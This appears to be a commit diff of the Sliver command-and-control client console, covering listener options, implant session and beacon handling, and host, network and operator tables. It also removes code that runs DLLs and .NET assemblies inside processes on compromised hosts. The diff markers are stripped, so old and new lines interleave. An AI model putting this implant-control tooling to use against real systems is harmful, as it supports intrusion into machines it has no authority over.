generateProfileHelp = `[[.Bold]]Command:[[.Normal]] generate [name] <options>
[[.Bold]]About:[[.Normal]] Generate an implant from a saved profile (see 'profiles new --help').`
msfHelp = `[[.Bold]]Command:[[.Normal]] msf [--lhost] <options>
@@ -482,21 +482,19 @@ When using the binary type, you must either:
[[.Bold]]Example:[[.Normal]] registry create --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
`
pivotListHelp = `[[.Bold]]Command:[[.Normal]] pivots-list [--id SESSIONID]
[[.Bold]]About:[[.Normal]] List created pivots
pivotsHelp = `[[.Bold]]Command:[[.Normal]] pivots
[[.Bold]]About:[[.Normal]] List pivots for the current session. NOTE: pivots are only supported on sessions, not beacons.
[[.Bold]]Examples:[[.Normal]]
List pivots for all sessions:
pivots-list
List pivots for a specific session:
pivots-list --id 1
List pivots for the current session:
pivots-list
`
pivots
Start a tcp pivot on the current session:
pivots tcp --bind 0.0.0.0
`
wgSocksHelp = `[[.Bold]]Command:[[.Normal]] wg-socks
[[.Bold]]About:[[.Normal]] Create a socks5 listener on the implant Wireguard tun interface
[[.Bold]]Examples:[[.Normal]]
+21 -1
View File
@@ -66,8 +66,9 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
"Hostname",
"Operating System",
"Sessions",
"Beacons",
"IOCs",
"Extension Data",
"Extensions",
})
for _, host := range hosts {
var shortID string
@@ -81,6 +82,7 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
host.Hostname,
host.OSVersion,
hostSessionNumbers(host.HostUUID, con),
hostBeacons(host.HostUUID, con),
len(host.IOCs),
len(host.ExtensionData),
})
@@ -100,6 +102,24 @@ func hostSessionNumbers(hostUUID string, con *console.SliverConsoleClient) strin
return strings.Join(sessionNumbers, ", ")
}
func hostBeacons(hostUUID string, con *console.SliverConsoleClient) string {
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return "Error"
}
count := 0
for _, beacon := range beacons.Beacons {
if beacon.UUID == hostUUID {
count++
}
}
if count == 0 {
return "None"
} else {
return fmt.Sprintf("%d", count)
}
}
// SessionsForHost - Find session for a given host by id
func SessionsForHost(hostUUID string, con *console.SliverConsoleClient) []*clientpb.Session {
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
+1 -3
View File
@@ -32,6 +32,7 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
if session != nil {
con.Printf(console.Bold+" ID: %s%d\n", console.Normal, session.ID)
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, session.Name)
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, session.Hostname)
@@ -45,7 +46,6 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, session.Arch)
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
con.Printf(console.Bold+" Poll Timeout: %s%d\n", console.Normal, session.PollTimeout)
con.Printf(console.Bold+"Reconnect Interval: %s%d\n", console.Normal, session.ReconnectInterval)
} else if beacon != nil {
@@ -65,8 +65,6 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
con.Printf(console.Bold+" Interval: %s%d\n", console.Normal, beacon.Interval)
con.Printf(console.Bold+" Jitter: %s%d\n", console.Normal, beacon.Jitter)
// con.Printf(console.Bold+" Poll Timeout: %s%d\n", console.Normal, beacon.PollTimeout)
// con.Printf(console.Bold+"Reconnect Interval: %s%d\n", console.Normal, beacon.ReconnectInterval)
} else {
con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
+21 -6
View File
@@ -20,6 +20,7 @@ package jobs
import (
"context"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -31,15 +32,29 @@ func HTTPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
domain := ctx.Flags.String("domain")
lhost := ctx.Flags.String("lhost")
lport := uint16(ctx.Flags.Int("lport"))
disableOTP := ctx.Flags.Bool("disable-otp")
longPollTimeout, err := time.ParseDuration(ctx.Flags.String("long-poll-timeout"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
longPollJitter, err := time.ParseDuration(ctx.Flags.String("long-poll-jitter"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Starting HTTP %s:%d listener ...\n", domain, lport)
http, err := con.Rpc.StartHTTPListener(context.Background(), &clientpb.HTTPListenerReq{
Domain: domain,
Website: ctx.Flags.String("website"),
Host: lhost,
Port: uint32(lport),
Secure: false,
Persistent: ctx.Flags.Bool("persistent"),
Domain: domain,
Website: ctx.Flags.String("website"),
Host: lhost,
Port: uint32(lport),
Secure: false,
Persistent: ctx.Flags.Bool("persistent"),
EnforceOTP: !disableOTP,
LongPollTimeout: int64(longPollTimeout),
LongPollJitter: int64(longPollJitter),
})
if err != nil {
con.PrintErrorf("%s\n", err)
+25 -9
View File
@@ -21,6 +21,7 @@ package jobs
import (
"context"
"io/ioutil"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -34,6 +35,18 @@ func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
lhost := ctx.Flags.String("lhost")
lport := uint16(ctx.Flags.Int("lport"))
disableOTP := ctx.Flags.Bool("disable-otp")
longPollTimeout, err := time.ParseDuration(ctx.Flags.String("long-poll-timeout"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
longPollJitter, err := time.ParseDuration(ctx.Flags.String("long-poll-jitter"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
cert, key, err := getLocalCertificatePair(ctx)
if err != nil {
con.Println()
@@ -43,15 +56,18 @@ func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Starting HTTPS %s:%d listener ...\n", domain, lport)
https, err := con.Rpc.StartHTTPSListener(context.Background(), &clientpb.HTTPListenerReq{
Domain: domain,
Website: website,
Host: lhost,
Port: uint32(lport),
Secure: true,
Cert: cert,
Key: key,
ACME: ctx.Flags.Bool("lets-encrypt"),
Persistent: ctx.Flags.Bool("persistent"),
Domain: domain,
Website: website,
Host: lhost,
Port: uint32(lport),
Secure: true,
Cert: cert,
Key: key,
ACME: ctx.Flags.Bool("lets-encrypt"),
Persistent: ctx.Flags.Bool("persistent"),
EnforceOTP: !disableOTP,
LongPollTimeout: int64(longPollTimeout),
LongPollJitter: int64(longPollJitter),
})
con.Println()
if err != nil {
+22 -15
View File
@@ -21,16 +21,15 @@ package jobs
import (
"context"
"fmt"
"os"
"sort"
"strings"
"text/tabwriter"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// JobsCmd - Manage server jobs (listeners, etc)
@@ -51,33 +50,41 @@ func JobsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
activeJobs[job.ID] = job
}
if 0 < len(activeJobs) {
printJobs(activeJobs)
PrintJobs(activeJobs, con)
} else {
con.PrintInfof("No active jobs\n")
}
}
}
func printJobs(jobs map[uint32]*clientpb.Job) {
table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
fmt.Fprintf(table, "ID\tName\tProtocol\tPort\t\n")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("ID")),
strings.Repeat("=", len("Name")),
strings.Repeat("=", len("Protocol")),
strings.Repeat("=", len("Port")))
// PrintJobs - Prints a list of active jobs
func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Name",
"Protocol",
"Port",
})
var keys []int
for _, job := range jobs {
keys = append(keys, int(job.ID))
}
sort.Ints(keys) // Fucking Go can't sort int32's, so we convert to/from int's
sort.Ints(keys)
for _, k := range keys {
job := jobs[uint32(k)]
fmt.Fprintf(table, "%d\t%s\t%s\t%d\t\n", job.ID, job.Name, job.Protocol, job.Port)
tw.AppendRow(table.Row{
fmt.Sprintf("%d", job.ID),
job.Name,
job.Protocol,
fmt.Sprintf("%d", job.Port),
})
}
table.Flush()
con.Printf("%s\n", tw.Render())
}
func jobKill(jobID uint32, con *console.SliverConsoleClient) {
@@ -1,4 +1,4 @@
package sessions
package kill
/*
Sliver Implant Framework
@@ -32,33 +32,48 @@ import (
// KillCmd - Kill the active session (not to be confused with TerminateCmd)
func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
con.PrintWarnf("No active session\n")
return
}
session, beacon := con.ActiveTarget.GetInteractive()
// Confirm with the user, just in case they confused kill with terminate
confirm := false
prompt := &survey.Confirm{Message: "Kill the active session?"}
survey.AskOne(prompt, &confirm, nil)
if !confirm {
promptSession := &survey.Confirm{Message: "Kill the active session?"}
promptBeacon := &survey.Confirm{Message: "Kill the active beacon?"}
if session != nil {
survey.AskOne(promptSession, &confirm, nil)
if !confirm {
return
}
err := KillSession(session, ctx.Flags.Bool("force"), con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
con.ActiveTarget.Background()
return
}
err := killSession(session, ctx.Flags.Bool("force"), con)
if err != nil {
con.PrintErrorf("%s\n", err)
if beacon != nil {
survey.AskOne(promptBeacon, &confirm, nil)
if !confirm {
return
}
err := KillBeacon(beacon, ctx.Flags.Bool("force"), con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
con.ActiveTarget.Background()
return
}
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
con.ActiveTarget.Background()
con.PrintErrorf("No active session or beacon\n")
return
}
func killSession(session *clientpb.Session, force bool, con *console.SliverConsoleClient) error {
func KillSession(session *clientpb.Session, force bool, con *console.SliverConsoleClient) error {
if session == nil {
return errors.New("session does not exist")
}
_, err := con.Rpc.KillSession(context.Background(), &sliverpb.KillSessionReq{
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
Request: &commonpb.Request{
SessionID: session.ID,
},
@@ -66,3 +81,17 @@ func killSession(session *clientpb.Session, force bool, con *console.SliverConso
})
return err
}
func KillBeacon(beacon *clientpb.Beacon, force bool, con *console.SliverConsoleClient) error {
if beacon == nil {
return errors.New("session does not exist")
}
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
Request: &commonpb.Request{
BeaconID: beacon.ID,
},
Force: force,
})
return err
}
+1 -1
View File
@@ -46,7 +46,7 @@ func LootCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if filter == "" {
allLoot, err = con.Rpc.LootAll(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintWarnf("Failed to fetch loot %s\n", err)
con.PrintErrorf("Failed to fetch loot %s\n", err)
return
}
} else {
-335
View File
@@ -1,335 +0,0 @@
package macros
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/json"
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
const (
defaultTimeout = 60
windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
linuxDefaultHostProc = "/bin/bash"
macosDefaultHostProc = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
)
var commandMap map[string]macro
var defaultHostProc = map[string]string{
"windows": windowsDefaultHostProc,
"linux": windowsDefaultHostProc,
"darwin": macosDefaultHostProc,
}
type binFiles struct {
Ext64Path string `json:"x64"`
Ext32Path string `json:"x86"`
}
type macroFile struct {
OS string `json:"os"`
Files binFiles `json:"files"`
}
type macroCommand struct {
Name string `json:"name"`
Entrypoint string `json:"entrypoint"`
Help string `json:"help"`
LongHelp string `json:"longHelp"`
AllowArgs bool `json:"allowArgs"`
DefaultArgs string `json:"defaultArgs"`
MacroFiles []macroFile `json:"extFiles"`
IsReflective bool `json:"isReflective"`
IsAssembly bool `json:"IsAssembly"`
}
func (ec *macroCommand) getDefaultProcess(targetOS string) (proc string, err error) {
proc, ok := defaultHostProc[targetOS]
if !ok {
err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
}
return
}
type macro struct {
Name string `json:"macroName"`
Commands []macroCommand `json:"macroCommands"`
Path string
}
func (e *macro) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
for _, c := range e.Commands {
if cmdName == c.Name {
for _, ef := range c.MacroFiles {
if targetOS == ef.OS {
switch targetArch {
case "x86":
filePath = filepath.Join(e.Path, ef.Files.Ext32Path)
case "x64":
filePath = filepath.Join(e.Path, ef.Files.Ext64Path)
default:
filePath = filepath.Join(e.Path, ef.Files.Ext64Path)
}
}
}
}
}
if filePath == "" {
err = fmt.Errorf("no macro file found for %s/%s", targetOS, targetArch)
}
return
}
func (e *macro) getCommandFromName(name string) (extCmd *macroCommand, err error) {
for _, x := range e.Commands {
if x.Name == name {
extCmd = &x
return
}
}
err = fmt.Errorf("no macro command found for name %s", name)
return
}
// LoadMacroCmd - Locally load a macro into the Sliver shell.
func LoadMacroCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dirPath := ctx.Args.String("dir-path")
// retrieve macro manifest
manifestPath := fmt.Sprintf("%s/%s", dirPath, "manifest.json")
jsonBytes, err := ioutil.ReadFile(manifestPath)
if err != nil {
con.PrintErrorf("%s\n", err)
}
// parse it
ext := &macro{}
err = json.Unmarshal(jsonBytes, ext)
if err != nil {
con.PrintErrorf("Error loading macro: %v", err)
return
}
ext.Path = dirPath
// for each macro command, add a new app command
for _, extCmd := range ext.Commands {
// do not add if the command already exists
if cmdExists(extCmd.Name, ctx.App) {
con.PrintErrorf("%s command already exists\n", extCmd.Name)
return
}
con.PrintInfof("Adding %s command: %s\n", extCmd.Name, extCmd.Help)
// Have to use a global map here, as passing the extCmd
// either by value or by ref fucks things up
commandMap[extCmd.Name] = *ext
helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
macroCmd := &grumble.Command{
Name: extCmd.Name,
Help: helpMsg,
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
Run: func(extCtx *grumble.Context) error {
con.Println()
runMacroCommand(extCtx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
if extCmd.IsAssembly {
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
}
f.String("p", "process", "", "Path to process to host the shared object")
f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.StringList("arguments", "arguments", grumble.Default([]string{}))
},
HelpGroup: consts.MacroHelpGroup,
}
con.App.AddCommand(macroCmd)
}
con.PrintInfof("%s macro has been loaded\n", ext.Name)
}
func runMacroCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
ext, ok := commandMap[ctx.Command.Name]
if !ok {
con.PrintErrorf("No macro command found for `%s` command\n", ctx.Command.Name)
return
}
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
c, err := ext.getCommandFromName(ctx.Command.Name)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
args := ctx.Args.StringList("arguments")
var extArgs string
if len(c.DefaultArgs) != 0 && len(args) == 0 {
extArgs = c.DefaultArgs
} else {
extArgs = strings.Join(args, " ")
}
entryPoint := c.Entrypoint
processName := ctx.Flags.String("process")
if processName == "" {
processName, err = c.getDefaultProcess(session.GetOS())
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
isDLL := false
if filepath.Ext(binPath) == ".dll" {
isDLL = true
}
binData, err := ioutil.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if c.IsAssembly {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: processName,
Arguments: extArgs,
Assembly: binData,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
if outFilePath != nil {
outFilePath.Write(executeAssemblyResp.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
} else if c.IsReflective {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
Request: con.ActiveTarget.Request(ctx),
Args: strings.Trim(extArgs, " "),
Data: binData,
ProcessName: processName,
EntryPoint: c.Entrypoint,
Kill: true,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawnDllResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
} else {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: con.ActiveTarget.Request(ctx),
Args: extArgs,
Data: binData,
EntryPoint: entryPoint,
ProcessName: processName,
Kill: true,
IsDLL: isDLL,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideloadResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
}
func cmdExists(name string, app *grumble.App) bool {
for _, c := range app.Commands().All() {
if name == c.Name {
return true
}
}
return false
}
func init() {
commandMap = make(map[string]macro)
}
+67 -15
View File
@@ -20,22 +20,26 @@ package network
import (
"context"
"fmt"
"sort"
"strconv"
"strings"
"github.com/desertbit/grumble"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"google.golang.org/protobuf/proto"
)
// IfconfigCmd - Display network interfaces on the remote system
func IfconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
ifconfig, err := con.Rpc.Ifconfig(context.Background(), &sliverpb.IfconfigReq{
Request: con.ActiveTarget.Request(ctx),
})
@@ -43,14 +47,47 @@ func IfconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
all := ctx.Flags.Bool("all")
if ifconfig.Response != nil && ifconfig.Response.Async {
con.AddBeaconCallback(ifconfig.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, ifconfig)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintIfconfig(ifconfig, all, con)
})
con.PrintAsyncResponse(ifconfig.Response)
} else {
PrintIfconfig(ifconfig, all, con)
}
}
for ifaceIndex, iface := range ifconfig.NetInterfaces {
con.Printf("%s%s%s (%d)\n", console.Bold, iface.Name, console.Normal, ifaceIndex)
// PrintIfconfig - Print the ifconfig response
func PrintIfconfig(ifconfig *sliverpb.Ifconfig, all bool, con *console.SliverConsoleClient) {
var err error
interfaces := ifconfig.NetInterfaces
sort.Slice(interfaces, func(i, j int) bool {
return interfaces[i].Index < interfaces[j].Index
})
hidden := 0
for index, iface := range interfaces {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableWithBordersStyle(con))
tw.SetTitle(fmt.Sprintf(console.Bold+"%s"+console.Normal, iface.Name))
tw.SetColumnConfigs([]table.ColumnConfig{
{Name: "#", AutoMerge: true},
{Name: "IP Address", AutoMerge: true},
{Name: "MAC Address", AutoMerge: true},
})
rowConfig := table.RowConfig{AutoMerge: true}
tw.AppendHeader(table.Row{"#", "IP Addresses", "MAC Address"}, rowConfig)
macAddress := ""
if 0 < len(iface.MAC) {
con.Printf(" MAC Address: %s\n", iface.MAC)
macAddress = iface.MAC
}
ips := []string{}
for _, ip := range iface.IPAddresses {
// Try to find local IPs and colorize them
subnet := -1
if strings.Contains(ip, "/") {
@@ -61,15 +98,30 @@ func IfconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
subnet = -1
}
}
if 0 < subnet && subnet <= 32 && !isLoopback(ip) {
con.Printf(console.Bold+console.Green+" IP Address: %s%s\n", ip, console.Normal)
} else if 32 < subnet && !isLoopback(ip) {
con.Printf(console.Bold+console.Cyan+" IP Address: %s%s\n", ip, console.Normal)
} else {
con.Printf(" IP Address: %s\n", ip)
ips = append(ips, fmt.Sprintf(console.Bold+console.Green+"%s"+console.Normal, ip))
} else if all {
ips = append(ips, fmt.Sprintf("%s", ip))
}
}
if !all && len(ips) < 1 {
hidden++
continue
}
if 0 < len(ips) {
for _, ip := range ips {
tw.AppendRow(table.Row{iface.Index, ip, macAddress}, rowConfig)
}
} else {
tw.AppendRow(table.Row{iface.Index, " ", macAddress}, rowConfig)
}
con.Printf("%s\n", tw.Render())
if index+1 < len(interfaces) {
con.Println()
}
}
if !all {
con.Printf("%d adapters not shown.\n", hidden)
}
}
+60 -24
View File
@@ -22,17 +22,20 @@ import (
"context"
"fmt"
"net"
"strings"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"google.golang.org/protobuf/proto"
)
// NetstatCmd - Display active network connections on the remote system
func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -42,6 +45,9 @@ func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
tcp := ctx.Flags.Bool("tcp")
udp := ctx.Flags.Bool("udp")
implantPID := getPID(session, beacon)
activeC2 := getActiveC2(session, beacon)
netstat, err := con.Rpc.Netstat(context.Background(), &sliverpb.NetstatReq{
Request: con.ActiveTarget.Request(ctx),
TCP: tcp,
@@ -54,10 +60,22 @@ func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
displayEntries(netstat.Entries, con)
if netstat.Response != nil && netstat.Response.Async {
con.AddBeaconCallback(netstat.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, netstat)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintNetstat(netstat, implantPID, activeC2, con)
})
con.PrintAsyncResponse(netstat.Response)
} else {
PrintNetstat(netstat, implantPID, activeC2, con)
}
}
func displayEntries(entries []*sliverpb.SockTabEntry, con *console.SliverConsoleClient) {
func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string, con *console.SliverConsoleClient) {
lookup := func(skaddr *sliverpb.SockTabEntry_SockAddr) string {
const IPv4Strlen = 17
addr := skaddr.Ip
@@ -71,30 +89,48 @@ func displayEntries(entries []*sliverpb.SockTabEntry, con *console.SliverConsole
return fmt.Sprintf("%s:%d", addr, skaddr.Port)
}
con.Printf("Proto %-23s %-23s %-12s %-16s\n", "Local Addr", "Foreign Addr", "State", "PID/Program name")
session := con.ActiveTarget.GetSessionInteractive()
for _, e := range entries {
p := ""
if e.Process != nil {
p = fmt.Sprintf("%d/%s", e.Process.Pid, e.Process.Executable)
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{"Protocol", "Local Address", "Foreign Address", "State", "PID/Program name"})
for _, entry := range netstat.Entries {
pid := ""
if entry.Process != nil {
pid = fmt.Sprintf("%d/%s", entry.Process.Pid, entry.Process.Executable)
}
srcAddr := lookup(e.LocalAddr)
dstAddr := lookup(e.RemoteAddr)
if e.Process != nil && e.Process.Pid == session.PID && isSliverAddr(dstAddr, con) {
con.Printf("%s%-5s %-23.23s %-23.23s %-12s %-16s%s\n",
console.Green, e.Protocol, srcAddr, dstAddr, e.SkState, p, console.Normal)
srcAddr := lookup(entry.LocalAddr)
dstAddr := lookup(entry.RemoteAddr)
if entry.Process != nil && entry.Process.Pid == implantPID {
tw.AppendRow(table.Row{
fmt.Sprintf(console.Green+"%s"+console.Normal, entry.Protocol),
fmt.Sprintf(console.Green+"%s"+console.Normal, srcAddr),
fmt.Sprintf(console.Green+"%s"+console.Normal, dstAddr),
fmt.Sprintf(console.Green+"%s"+console.Normal, entry.SkState),
fmt.Sprintf(console.Green+"%s"+console.Normal, pid),
})
} else {
con.Printf("%-5s %-23.23s %-23.23s %-12s %-16s\n",
e.Protocol, srcAddr, dstAddr, e.SkState, p)
tw.AppendRow(table.Row{entry.Protocol, srcAddr, dstAddr, entry.SkState, pid})
}
}
con.Printf("%s\n", tw.Render())
}
func isSliverAddr(dstAddr string, con *console.SliverConsoleClient) bool {
parts := strings.Split(dstAddr, ":")
if len(parts) != 3 {
return false
func getActiveC2(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.ActiveC2
}
c2Addr := strings.Split(con.ActiveTarget.GetSessionInteractive().ActiveC2, "://")[1]
return strings.Join(parts[:2], ":") == c2Addr
if beacon != nil {
return beacon.ActiveC2
}
return ""
}
func getPID(session *clientpb.Session, beacon *clientpb.Beacon) int32 {
if session != nil {
return session.PID
}
if beacon != nil {
return beacon.PID
}
return -1
}
+15 -39
View File
@@ -19,17 +19,15 @@ package operators
*/
import (
"bytes"
"context"
"fmt"
"strings"
"text/tabwriter"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// OperatorsCmd - Display operators and current online status
@@ -45,46 +43,24 @@ func OperatorsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
func displayOperators(operators []*clientpb.Operator, con *console.SliverConsoleClient) {
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
fmt.Fprintln(table, "Operator\tStatus\t")
fmt.Fprintf(table, "%s\t%s\t\n",
strings.Repeat("=", len("Operator")),
strings.Repeat("=", len("Status")),
)
colorRow := []string{"", ""} // Two uncolored rows for the headers
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Name",
"Status",
})
for _, operator := range operators {
// This is the CA, but I guess you could also name an operator
// "multiplayer" and it'll never show up in the list
if operator.Name == "multiplayer" {
continue
}
fmt.Fprintf(table, "%s\t%s\t\n", operator.Name, status(operator.Online))
if operator.Online {
colorRow = append(colorRow, console.Bold+console.Green)
} else {
colorRow = append(colorRow, "")
}
}
table.Flush()
lines := strings.Split(outputBuf.String(), "\n")
for lineNumber, line := range lines {
if len(line) == 0 {
continue
}
con.Printf("%s%s%s\n", colorRow[lineNumber], line, console.Normal)
tw.AppendRow(table.Row{
console.Bold + operator.Name + console.Normal,
status(operator.Online),
})
}
con.Printf("%s\n", tw.Render())
}
func status(isOnline bool) string {
if isOnline {
return "Online"
return console.Bold + console.Green + "Online" + console.Normal
}
return "Offline"
return console.Bold + console.Red + "Offline" + console.Normal
}
+96
View File
@@ -0,0 +1,96 @@
package pivots
/*
Sliver Implant Framework
